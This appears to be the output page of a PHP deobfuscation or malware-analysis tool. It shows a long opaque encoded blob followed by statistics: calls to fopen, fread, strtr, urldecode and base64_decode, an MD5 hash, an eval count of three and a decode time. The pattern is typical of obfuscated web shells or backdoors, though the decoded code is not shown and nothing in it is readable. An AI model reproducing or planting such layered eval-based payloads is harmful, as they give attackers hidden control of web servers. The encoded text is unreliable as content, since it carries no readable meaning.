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alVnRPIq
Function Calls
fopen | 1 |
fread | 3 |
strtr | 2 |
fclose | 1 |
urldecode | 1 |
str_replace | 1 |
base64_decode | 3 |
Stats
MD5 | 7e4d32d3d2f470084c7bf91bc5ed24fe |
Eval Count | 3 |
Decode Time | 251 ms |